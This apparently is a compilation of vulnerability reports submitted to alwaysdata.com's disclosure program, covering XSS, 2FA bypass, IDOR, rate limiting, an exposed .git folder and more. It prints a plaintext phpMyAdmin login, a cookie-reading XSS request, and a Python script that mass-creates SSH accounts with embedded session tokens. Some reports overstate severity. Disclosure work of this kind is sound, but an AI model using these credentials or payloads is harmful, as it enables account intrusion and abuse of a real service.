All Projects

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

Overview:
While conducting research on alwaysdata.com, I discovered sensitive credentials publicly exposed on a Telegram channel. These credentials provided direct access to alwaysdata’s phpMyAdmin instance, exposing database management functionalities that could lead to unauthorized data access, modification, or deletion. This issue represents a serious security risk, as it could enable malicious actors to compromise databases hosted on alwaysdata.

Steps to Reproduce:
1. Navigate to [https://phpmyadmin.alwaysdata.com/](https://phpmyadmin.alwaysdata.com/).
2. Use the following credentials found on the Telegram channel:

1. Username: projets_baltic
2. Password: LouisCelestin004@#

3. Successfully logging in grants full access to phpMyAdmin.

Proof of Concept (PoC):


Impact:
- Unrestricted access to phpMyAdmin allows any user to view, edit, or delete data within the accessible databases.
- Potential exposure of sensitive customer or internal data, which could result in data breaches.
- Elevates the risk of unauthorized database modifications, compromising data integrity and system security.

Remediation Suggestions:
- Immediately change the credentials for the affected phpMyAdmin user accounts and review logs for any unauthorized access.
- Implement IP or role-based access restrictions to phpMyAdmin to prevent unauthorized external access.
- Monitor and periodically audit for publicly shared or leaked credentials, especially on social media and messaging platforms.

Motivation for Reporting:
This report highlights the potential for data compromise on alwaysdata’s phpMyAdmin, as exposed credentials grant full access to manage sensitive databases. Addressing this issue will help alwaysdata protect its customers’ data and maintain the integrity of its hosted environments.

References:
- [OWASP Secure Credential Storage](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)
- [NIST Guidelines on Access Control](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)

Please feel free to reach out if additional details or verification are required.

Stored Xss in mesaage parameter:

Hello Team, I hope you are doing well. While Researching on your domain i Found Stored Xss in message Parameter via Post Method.

Steps:

1. Go to https://admin.alwaysdata.com/message/toggle/.
2. Capture this request on BurpSuite.
3. While in Post Request, there is message_id parameter, you can input xss payload <script>alert(document.cookie)</script> and copy the request and paste it in browser you see it will reflecting in browser.

Poc:

POST /message/toggle/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxxxxxxxx; django_language=en; sessionid=xxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/message/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrftoken: nxxtYwkQfIRMWcftaEokwghO10GoV6yv
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: https://admin.alwaysdata.com Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

message_id=<script>alert(document.cookie)</script>

Impact
Can steal Cookie, Can run javascript code, etc

Thank You,

Waleed Anwar

It was observed that the application exhibits poor data handling practices, which could lead to potential security vulnerabilities. Specifically:

Reflected Input in 404 Error Page: When a user navigates to a non-existent URL ====(https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e),==== the application returns a 404 error page. However, any additional text or encoded characters appended to the URL (e.g., malicious payloads) are directly reflected in the error message without proper sanitization or encoding.

Example: Accessing the crafted URL 1: https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e

2: https://www.alwaysdata.com/yOu_Are_hAckEd_by_zaIN_Ul_AbideeN

Result:

====404 - Page not found
The page /yOu_Are_hAckEd_by_zaIN_Ul_AbideeN could not be found. If you believe this is an error on our part, please let us know. Back ====

====Risk:==== This issue indicates a lack of proper input validation and output encoding, making the application vulnerable to Reflected Cross-Site Scripting (XSS) attacks. An attacker could craft malicious URLs containing scripts (e.g., <script>alert('XSS')</script>), which, if clicked by another user, could execute arbitrary JavaScript in their browser.

**Recommendation:**

Input Validation:

##Title: Improper Access Control in [admin.alwaysdata.com]

Summary:

A privilege escalation vulnerability was identified in the platform’s access control mechanism for managing specific paths related to site and SSL configurations. When a user is restricted from accessing a specific path within a site (sites path permission denied) but granted access to SSL management, they can still access a URL path intended for restricted site management at /site/xx/ssl. This bypasses intended access restrictions.

Description:

[Note that the path I mentioned to you does not appear to you when you are not given permissions to access the path (site)]

The platform enables administrators to set granular permissions, controlling what paths invited users can access or manage within a site. Two relevant permissions in this context are:

Path Management (sites): Grants access to manage certain paths related to a site.

SSL Management (ssl certificates): Grants access to manage SSL certificates.

There is a permissions inconsistency that allows users with SSL Management permissions, but without specific sites path permissions, to access the /site/xx/ssl path. This path resides within a restricted site-related path, yet contains SSL management functionalities. As a result, users can bypass restrictions on specific paths and potentially access or manipulate SSL settings.

##Link: [https://admin.alwaysdata.com/site/configuration/ssl/]
Steps to Reproduce:

1. Create a user account and assign SSL Management (ssl certificates) permissions, while explicitly denying access to the sites path.

2. Attempt to access the URL path: /site/xx/ssl.

3. Observe that access is granted to the SSL management path within the restricted sites path, despite restrictions on other paths under sites.

Expected Result:

The system should prevent access to paths under /site—including /site/xx/ssl—when specific path permissions are denied.

Actual Result:

The user can access /site/xx/ssl even though access to paths under /site is restricted, allowing them unintended access to certain SSL configurations tied to the site path.

##Proof of Concept: https://admin.alwaysdata.com/support/82440/384175-bandicam%202024-11-12%2004-13-20-975.mp4

Impact:

This vulnerability allows unauthorized users to bypass restrictions on certain paths and access SSL configurations. If exploited, this could lead to unauthorized manipulation of SSL settings, compromising the security integrity of site-related resources.

SSRF WITH FILE UPLOAD FUNCTIONALITY:

Hello Team, I hope you are doing well. I found a ssrf through pdf upload in https://admin.alwaysdata.com/support.

Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/support and upload a pdf file which have ssrf through ( "Burp Collab" or malicious url redirection "attacker.com")

2. Send this file to any user when he/she open that file and click the link in that it will redirect to attacker website or http and dns response will be shown in Burpsuite.

Impact
The vulnerability could be used to conduct further attacks, such as accessing internal systems or exfiltrating sensitive data.

Attacker will redirect any user to their website to steal data of user and can do whatever he/she wants.

Thank You,

Waleed Anwar

Summary: A race condition vulnerability was found, allowing users to bypass the product limit restriction and create multiple instances of a product that should be limited to only one per user.

Steps to Reproduce:

1-Open a New Account:
Go to "Open a New Account" and enter the required information.

2-Send Concurrent Requests:
Use a tool like Burp Suite or a script to send multiple requests at the same time.
Slightly change the product name in each request (e.g., "Product1," "Product2") to avoid immediate duplicates.

3-Verify:
Check the account to confirm multiple instances of the product were created.

Impact:

1-Resource Abuse: Users can consume excessive resources (e.g., storage or server space), impacting performance and increasing operational costs.

2-Account Abuse: Malicious users may create multiple products for spam, fraud, or denial-of-service (DoS) attacks.

3-System Integrity: This flaw undermines the system’s integrity by allowing unauthorized duplication of resources.

Recommended Fixes: Atomic Operations: Ensure product creation checks and actions happen as one atomic operation.
Database Constraints: Enforce unique limits in the database to block duplicate entries.
Synchronization: Use locking mechanisms to prevent concurrent request handling.

Logout CSRF

Hi Team,
This is a low risk but want you to know that logout on this domain admin.alwaysdata.com did not protect the logout form with csrf token, therefor i can logout any user by sending this url https://admin.alwaysdata.com/logout/.
Logout should have post method with a valid csrf token.
Let me know if you need more info.

Regards
Waleed Anwar

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar

No Rate Limit on account deletion request(Leads to Password Guessing)

Hello Team, I hope you are doing well.

I found this vulnerability in your website Business Logic Errors

Referrer: https://admin.alwaysdata.com/admin/details/357258/delete/

*Description :
No Rate Limit is a type of computer security vulnerability typically found in web applications. No Rate Limit enables attackers to perform actions on the web application where the attacker can do signup creation, password reset or 2FA of other users. No Rate Limit vulnerability may be used by attackers to bypass access controls such & bruteforce tokens and passwords without any limiting of any requests. There should be protection on the web application for sensitive actions. Attackers send a high number of requests to perform desirable actions to get access to the application or accounts.
NO RL effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network. *Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/admin/details/357258/delete/

2. Intercept This Request In Burp And Forward Till You Found Your Number In

3 Now Send This Request To Intruder And Repeat It 250 Time By Fixing Any Arbitrary Payload Which Doesn't No Effect Request I Choose Accept-Language: en-US,en;q=0.$5$ and payload set null 250 and start attack.

Note:-
Ofcourse, generating account deletion emails is possible if an attacker gets control over user's account (or) it may be possible if any other vulnerabilities are discovered in future.

Thanks,

Waleed Anwar

Improper access control on adding (admin@alwaysdata.com) email in profile setting to take this email.

Hello Sir,

I hope your are doing well. I found a flow in https://admin.alwaysdata.com/ to add banned email to their profile setting to takeover the email.

Steps:

1. Go to https://www.alwaysdata.com/en/register/ 2. Input admin@alwaysdata.com in email and then input password whatever you want.
3. Click Create Profile then its show's (Email address : This email has been banned).
4. Create a Profile with your own email something@mail.com. 5. Then go to https://admin.alwaysdata.com/admin/details/ and then input email which is admin@alwaysdata.com. 6. Then input your old password and click submit you can takeover this email which is banned for making profile.

Impact
An attacker can add this email to their account make some stuff for your business loss.

Thank You,

Waleed Anwar

Hello Alwaysdata Security Team,

I hope this message finds you well.

I am reaching out as part of your Vulnerability Disclosure Program to report a potential security issue I found, titled "Lack of Rate Limiting on Password Reset Page".
===
Vulnerability Details:===

The password reset page (https://admin.alwaysdata.com/password/lost/) currently does not have rate limiting enabled, which allows repeated attempts without any restrictions.i send the request to Intruder and set my email and set payload around 80 times and the server give me the 80 linkes on my eamil (forgot password emial link)

Impact:

Recommendation:

### Title:
Insecure Direct Object Reference (IDOR) Vulnerability: Unauthorized Commenting on Invisible Reports in [security.alwaysdata.com]

Note: I sent the vulnerability to [flyspray] They did not respond to the security report, and it has been a long time, So I had to send it to you.
—

#### Introduction
A security vulnerability has been identified in the site's report commenting feature, which allows unauthorized users to add comments to reports they should not have access to. This is due to an Insecure Direct Object Reference (IDOR) issue, compromising the integrity of sensitive data.

—

#### Steps to Reproduce
1. Create a New Report: Log in and create a new report.
2. Add a Comment: Use Burp Suite to intercept the HTTP request while adding a comment.
3. Modify the Report ID: Change the report ID in the request to one that is not visible to the public.
4. Submit the Modified Request: Forward the modified request through Burp Suite.
5. Check for Unauthorized Comment: Verify that the comment has been added to the invisible report.

##POC: To prove the concept, I commented on a report from my second account, and this report is not publicly available, Report number: 78
link: https://admin.alwaysdata.com/support/82086/382759-Screenshot_%D9%A2%D9%A0%D9%A2%D9%A4%D9%A1%D9%A0%D9%A2%D9%A4_%D9%A0%D9%A4%D9%A5%D9%A9%D9%A5%D9%A7_Kiwi%20Browser.jpg —

#### Impact
This IDOR vulnerability can lead to:
- Unauthorized Access: Users can manipulate and comment on reports they are not permitted to view.

Overview of the Vulnerability
User accounts are more susceptible to account takeover when there is no password confirmation on certain actions. For example, change of email address, change of password, management of Multi-Factor Authentication details, and account deletion.
The application lacks password confirmation on the delete account function which could be abused by an attacker who has access to the user’s account (eg. a public computer the user has not logged out of). From here the attacker could delete a user’s account.
## Business Impact
This vulnerability can lead to reputational damage and indirect financial loss to the company as customers may view the application as insecure.
## Steps to Reproduce
1. Enable a HTTP interception proxy, such as Burp Suite or OWASP ZAP1. Use a browser to navigate to: admin.alwaysdata.com 2. Use delete account functionality1. Intercept the request in a Web Proxy
3. Adjust and forward the following request to the endpoint:
4. Observe that no password confirmation is required

### Bug Report: XSS Vulnerability via File Upload

- Bug Type: Cross-Site Scripting (XSS)
- Affected Site: https://admin.alwaysdata.com

#### Steps to Reproduce
1. Log in to the admin panel at [https://admin.alwaysdata.com](https://admin.alwaysdata.com).
2. Navigate to the Feedback section.
3. Create a new ticket for feedback.
4. Attach a file that contains an embedded XSS payload
5. Submit the feedback with the file attached.
6. After submission, open the file in the ticket view.
7. Observe that a popup appears as a result of the XSS payload execution.

#### Impact
- Security Risk: This vulnerability allows attackers to execute arbitrary JavaScript code in the context of the user's browser.
- Potential Exploits: This can lead to session hijacking, redirecting users to malicious sites, or stealing sensitive user information.
- Severity: High – Since the attack leverages file uploads and can be triggered by opening the file in the browser, it could potentially impact many users who interact with the file.

#### Description
The issue occurs when a file is uploaded with a malicious XSS payload embedded. The uploaded file is not sanitized or filtered correctly, allowing the script to execute when viewed. This vulnerability could lead to a serious security breach, compromising user accounts and system data.

Description:
An exposed .git folder has been discovered on the website https://security.alwaysdata.com, which allows unauthorized access to sensitive files related to the site's source code repository. This could potentially lead to the leakage of sensitive information, such as configuration settings and code, which can facilitate further attacks.

URL:
https://security.alwaysdata.com/.git/config

Details:
By accessing the .git folder, the following sensitive files were found to be publicly accessible:

.git/config
.git/index
.git/packed-refs
.git/info/exclude
.git/logs/HEAD
And many more.

Example of Sensitive Information Exposed:

[core]

  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true

[remote "origin"]

  url = https://github.com/flyspray/flyspray.git
  fetch = +refs/heads/*:refs/remotes/origin/*

[branch "master"]

  remote = origin
  merge = refs/heads/master

Using a tool such as GitDump, the entire .git directory was successfully dumped, providing full access to the contents of the repository. This may lead to further exploitation by attackers.

Exposed URLs:
https://security.alwaysdata.com/.git/index https://security.alwaysdata.com/.git/packed-refs https://security.alwaysdata.com/.git/info/exclude https://security.alwaysdata.com/.git/logs/HEAD

Impact:
Unauthorized Access to Source Code: Attackers can gain access to the complete source code, potentially uncovering proprietary algorithms, logic, and confidential information that could be misused for malicious purposes, including code analysis or redistribution.
Sensitive Information Disclosure: The .git/config file and other repository metadata may contain sensitive information, such as database credentials, API keys, or other secrets, which could allow attackers to gain unauthorized access to critical components of the infrastructure.
Potential for Further Exploitation: With access to the source code and potentially sensitive configuration details, attackers may be able to exploit additional vulnerabilities or gain deeper access to the system.

Remediation:
Remove these files from production systems or restrict access to the .git directory. To deny access to all the .git folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

<Directory ~ ".git">
Order allow,deny
Deny from all
</Directory>

If further information is required, please let me know.

Thanks.

Summary:
The application at https://admin.alwaysdata.com allows users to set their old password as the new password when resetting their password via the "Forgot Password" link. This weakens the security of the platform by not enforcing password uniqueness, which is crucial for maintaining account security, especially after a password reset.

Description:
When a user resets their password via the "Forgot Password" link, the application allows them to reuse their old password as the new password. This behavior reduces the effectiveness of the password reset process, which is meant to provide users with fresh, secure credentials. If the old password was compromised, allowing the user to reset it back to the same password negates the entire purpose of the password reset feature.

Steps to Reproduce:
1.Go to the login page of https://admin.alwaysdata.com and click on Forgot Password.
2.Enter your registered email address and request a password reset link.
3.Use the received password reset link to reset your password.
4.Enter your current/old password as the "New Password" in the password reset form.
5.Confirm the password reset.
6.Notice that the application allows the old password to be reused without any restrictions.

Impact:
Weakens Account Security: Reusing the old password negates the purpose of a password reset, especially if the old password was compromised. This significantly increases the risk of account compromise.
Non-Compliance with Best Practices: Regulatory and security guidelines, such as OWASP and NIST password standards, require that new passwords must differ from previous ones to enhance security.

Recommendation:
Enforce Password History: Track the user’s password history (e.g., the last 5 passwords) and ensure that the newly set password during a reset is not one of the previously used passwords.

A vulnerability was identified on the alwaysdata account password reset feature that allows previously generated password reset links to remain functional even after a new reset link has been requested. This flaw can potentially allow unauthorized users to exploit old links and reset passwords, even when a user has already generated a new password reset link.

Steps to Reproduce:
1.Go to the password reset page: https://admin.alwaysdata.com/password/lost/ 2.Request a password reset link by entering your email at 10:00 AM.
3.Copy and save the password reset link received in the email (without using it).
4.At 10:05 AM, request a new password reset link by entering the same email.
5.Use the most recent password reset link received at 10:05 AM to reset your password.
6.Now, attempt to use the first password reset link received at 10:00 AM to reset the password again.
7.Observe that the first password reset link (from 10:00 AM) is still valid and allows you to reset the password, even though a new link was generated at 10:05 AM.

Impact
This vulnerability enables an attacker or malicious user to exploit old, still-active password reset links, even after a new reset link has been generated. This could potentially lead to account compromise and unauthorized access, posing a significant security risk to user accounts.

Recommendation:
Invalidate Old Password Reset Links: Ensure that when a new password reset link is generated, all previously issued links are immediately invalidated.
Token Management: Implement a more secure token management system where each password reset token is tracked, and all previous tokens are invalidated once a new token is generated. Only the latest reset token should be valid at any given time.

Bug Bounty Report

Title: MTA-STS Record Not Found for Domain

Severity: High

Summary: The domain alwaysdata.com does not have an MTA-STS (Mail Transfer Agent Strict Transport Security) record configured. MTA-STS is a critical security mechanism that enforces secure connections between mail servers, preventing Man-in-the-Middle (MitM) attacks and enhancing email security. The absence of this record leaves the domain vulnerable to potential interception and tampering of email communications, posing a significant risk to the confidentiality and integrity of sensitive information.

Description: Upon conducting a security assessment, it was observed that the domain alwaysdata.com lacks an MTA-STS record in its DNS configuration. MTA-STS is a crucial security protocol that ensures secure communication channels between mail servers, thereby mitigating the risk of interception and tampering of email traffic.

In the absence of an MTA-STS record, malicious actors could exploit vulnerabilities in email transmission, potentially intercepting sensitive information exchanged between servers. This vulnerability exposes the domain to various security threats, including but not limited to Man-in-the-Middle attacks, eavesdropping, and unauthorized access to confidential data.

Steps to Reproduce:

Go to the MTA-STS TXT record checker tool https://easydmarc.com/tools/mta-sts-check?domain= Observe the absence of an MTA-STS TXT record.
Verify that the domain's DNS configuration does not include any MTA-STS policies.
Impact: The absence of an MTA-STS record for the domain alwaysdata.com has the following impacts:

Security Risk: Without MTA-STS, email communications are vulnerable to interception and tampering by malicious entities, compromising the confidentiality and integrity of sensitive information.
MitM Attacks: Attackers could exploit the lack of secure communication channels to intercept emails, leading to potential data breaches and unauthorized access to confidential data.
Compliance Concerns: Non-compliance with industry standards and best practices regarding email security, potentially leading to regulatory penalties and reputational damage.
Recommendations:

Implement MTA-STS: Configure an MTA-STS policy for the domain alwaysdata.com following the specifications outlined in RFC 8461 to enforce secure communication between mail servers.
Enable TLS Encryption: Ensure that TLS encryption is enabled and properly configured on mail servers to further enhance email security.
Regular Monitoring: Conduct regular audits and monitoring of DNS configurations to identify and address any security vulnerabilities promptly.
Educate Users: Raise awareness among domain administrators and users about the importance of email security practices, including the significance of implementing MTA-STS.
Proof of Concept (PoC): The absence of an MTA-STS record for the domain alwaysdata.com can be verified by performing a DNS lookup for the MTA-STS policy. The lack of an MTA-STS TXT record in the DNS configuration confirms the vulnerability.

Additional Notes: It is imperative to prioritize the implementation of MTA-STS for the domain alwaysdata.com to mitigate the identified security risk effectively. Failure to address this issue promptly could result in severe consequences, including data breaches and compliance violations.

Thank you ,

Sanjith Roshan U

Security Researcher

POC DRIVE LINK:https://drive.google.com/file/d/1mERA_7qmeQ8bRAYuUZFRsuYJqAmm3CgO/view?usp=sharing

Dear Security Team,

Introduction: I hope this message finds you well. I am reaching out to bring to your attention a Critical severity issue that has been identified during my recent assessment: Information Disclosure Vulnerability Report. The details of the vulnerability can be found in the comprehensive report provided below.

Vulnerability Name: NGINX Version 1.14.2 Leaking

Vulnerability Description: The NGINX Server Version Information Leakage Vulnerability exposes sensitive server version details, potentially aiding malicious actors in crafting targeted attacks against vulnerable systems. By exploiting this vulnerability, attackers can ascertain specific NGINX server versions running on target hosts, facilitating the identification of potential security weaknesses or outdated software versions susceptible to known exploits. This information disclosure could lead to unauthorized access, data breaches, or system compromise, posing significant risks to affected organizations' security posture and integrity of their web infrastructure.

Steps To Reproduce:

1. http://overlord2.alwaysdata.com go to this url and intercept this request (In my case: Burp-Suite).
2. Send this request to repeater & Observe Response.

http://overlord2.alwaysdata.com: Server: nginx/1.14.2

Reference :-
https://www.cybersecurity-help.cz/vdb/SB2021052543 www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.143920

Impact: Malicious actors could craft targeted attacks against vulnerable systems.

The NGINX server version leaking vulnerability exposes organizations to significant risks:
Security Breaches: Attackers can exploit version leakage to identify known vulnerabilities in specific NGINX versions, facilitating targeted attacks.

Information Disclosure: Exposing server versions enables attackers to gather intelligence about the server environment, potentially leading to further exploitation or unauthorized access.

System Compromise: Malicious actors can exploit this vulnerability to launch attacks tailored to specific NGINX versions, potentially leading to system compromise, data theft, or disruption of services.

Mitigation:

1. Update NGINX: Regularly update NGINX to the latest stable version to patch known vulnerabilities and reduce the risk of exploitation.

2. Remove Server Tokens: Configure NGINX to hide version information from HTTP response headers using the server_tokens directive.

3. Security Hardening: Implement security measures like Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) to monitor and filter malicious traffic targeting NGINX servers.

4. Error Page Customization: Customize error pages to provide minimal information to potential attackers, avoiding disclosure of server version information.

5. Limit Information Exposure: Minimize information exposure by configuring NGINX to reveal only necessary details in error messages and server responses.

I am committed to assisting you in addressing this issue promptly. Please feel free to contact me for any clarification or assistance in implementing the recommended mitigation measures.

Thank you for your attention to this matter, and I look forward to your prompt action in securing your website.

Best regards,

Sanjith Roshan U

Security Researcher

Title: Two-Factor Authentication Bypass Issue in [admin.alwaysdata.com]

Summary: A vulnerability has been identified that allows an attacker to bypass Two-Factor Authentication (2FA) and manage applications on a user’s account. The attacker can create and delete applications on the account of the user who invited them.

Steps to Reproduce: 1. Create a new account.
2. Add a member to manage your account and activate Two-Factor Authentication (2FA) for that member.
3. Add an application to your account.
4. Log in to the account of the invited member.
5. Navigate to the following link: [https://admin.alwaysdata.com/site/application/script/].
6. Observe that you can create a new application and delete existing applications on the account of the original account holder.

POC: https://drive.google.com/file/d/1v5PbiZaZZK7l30XgdZx7025tsZnDOOf8/view?usp=drivesdk

Impact: Two-Factor Authentication Bypass

Bypassing Two-Factor Authentication via Account Deactivation

Hello Team,

I hope you are doing well. I found a serious issue in https://admin.alwaysdata.com which Bypassing Two-Factor Authentication via Account Deactivation.

The vulnerability arises from a logical flaw in the account recovery and 2FA enforcement processes. Specifically, after deactivating an account, users can takeover and log in without being prompted for 2FA. The 2FA mechanism, which is designed to provide an additional layer of security, is effectively bypassed.

Steps To Reproduce

Go to https://admin.alwaysdata.com and make signup example@gmail.com

Then, go to admin detail section add some details first name, last name etc and activate 2fa.

After, activating 2fa submit and save the details.

After, saving the details click on Delete this profile button on right top side and submit the message what you want.

Your account is deleted without asking password confirmation and 2fa is also deactivated and attacker can easily takeover the account.

Note: This is possible only when user is forgot to login off the account at cafe or something else pc and recreate a account with this email address and reconfigure a 2fa to takeover the account.

Regard,

Waleed Anwar

# Unlimited SSH Server Creation Vulnerability on AlwaysData

## Summary
There is no limit on the number of SSH servers that can be created by a user on the AlwaysData platform. This vulnerability allows for unauthorized resource exhaustion, which could lead to service degradation or denial of service (DoS).

## Steps to Reproduce

1. Log in to your AlwaysData account.
2. Navigate to the SSH server creation page: `https://admin.alwaysdata.com/ssh/add/`.
3. Submit the form to create a new SSH server using a valid name and password.
4. Repeat the above step multiple times with different names like `jhoneone_1002`, `jhoneone_1003`, etc.
5. Observe that there is no limit imposed on the number of SSH servers that can be created, leading to potential resource exhaustion.

## Impact
- Resource Exhaustion: An attacker can create an unlimited number of SSH servers, potentially exhausting the resources allocated to other users on the platform.
- Denial of Service: Continuous server creation could degrade the platform's performance or lead to a denial of service.

## Recommendations
- Implement Limits: Set a reasonable limit on the number of SSH servers that can be created per user.
- Monitor for abnormal SSH server creation patterns and implement rate limiting to prevent abuse.

## Python Script to Exploit the Vulnerability

```python
import requests

# Configuration
url = "https://admin.alwaysdata.com/ssh/add/"
headers = {

  "Host": "admin.alwaysdata.com",
  "Cookie": "csrftoken=dnNRG2ExW88JR4GFKyeRRbD0JMV6E7IH; django_language=en; sessionid=q25k858xtrmg95b2t486xg7snokn99ls",
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
  "Accept-Language": "en-US,en;q=0.5",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "https://admin.alwaysdata.com/ssh/add/",
  "Content-Type": "application/x-www-form-urlencoded",
  "Origin": "https://admin.alwaysdata.com",
  "Dnt": "1",
  "Upgrade-Insecure-Requests": "1",
  "Sec-Fetch-Dest": "document",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Te": "trailers"

}

# Function to create an SSH server
def create_ssh_server(session, csrf_token, username, password="AAAaaa123###"):

  data = {
      "csrfmiddlewaretoken": csrf_token,
      "name": username,
      "password": password,
      "home_directory": "",
      "shell": "BASH",
      "can_use_password": "on",
      "annotation": "",
      "submit": ""
  }
  response = session.post(url, headers=headers, data=data)
  return response.status_code, response.text

# Main script
if name == "main":

  with requests.Session() as session:
      # Replace the csrf_token below with your own token from your account
      csrf_token = "hpjP7TYZxZLeNcxhqG3fC6vZkwecJIc4kCWwDLsmjXJNu63M047Wj7YPT8Z8dFKB"
      
      for i in range(1002, 1100):  # Create multiple servers
          username = f"jhoneone_{i}"
          status_code, response_text = create_ssh_server(session, csrf_token, username)
          print(f"Status Code: {status_code}, Username: {username}")
          # Optionally, you can log the response_text for debugging purposes

*Title: Unauthorized Email Sending Exploit in [alwaysdata.com] Summary: A vulnerability has been discovered in the site's email handling system. The site assigns each user a unique email address. However, it is possible to send an email from any email account, bypassing the intended email restrictions and validation mechanisms. Vulnerability Details: - Type: Email Spoofing
- Impact: Unauthorized email sending
- Affected Component: Email Handling System Description: The application generates a unique email address for each user. However, it is possible to exploit the system to send emails from any arbitrary email address. This issue arises due to insufficient validation of the email sender’s address. Proof of Concept: 1. Exploit Steps: - Use an email client or script to send an email through the application.
- Modify the "From" address to any arbitrary email address, not restricted to the user's assigned address. 2. Result: - The email is sent successfully. Follow the steps in the video: https://admin.alwaysdata.com/support/77431/376905-bandicam%202024-08-20%2003-19-32-375.mp4 Impact:**

This vulnerability allows an attacker to send emails appearing as if they are from any user.

Description: There is clickjacking vulnerability at https://admin.alwaysdata.com/admin/details/ endpoint. And, for deleting a profile, we just need two clicks.

Steps to reproduce:
1) Open your browser and search for https://admin.alwaysdata.com/admin/details/ 2) create an html file that overlays delete this profile icon and then the submit button.

Impact: Admin's account can be deleted in two clicks.